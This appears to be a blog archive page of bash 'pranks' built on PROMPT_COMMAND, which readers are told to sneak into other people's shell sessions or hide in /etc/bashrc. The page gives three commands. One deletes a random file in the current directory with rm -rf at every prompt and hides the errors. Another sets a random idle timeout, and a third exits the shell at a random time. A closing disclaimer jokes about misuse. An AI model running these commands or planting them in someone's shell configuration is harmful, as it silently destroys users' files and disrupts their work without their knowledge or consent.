Better learn to type fast…
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Archive for the ‘ PROMPT_COMMAND Panic ’ Category
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
Try to sneak this one into someone’s session and watch the hilarity ensue:
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/
export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.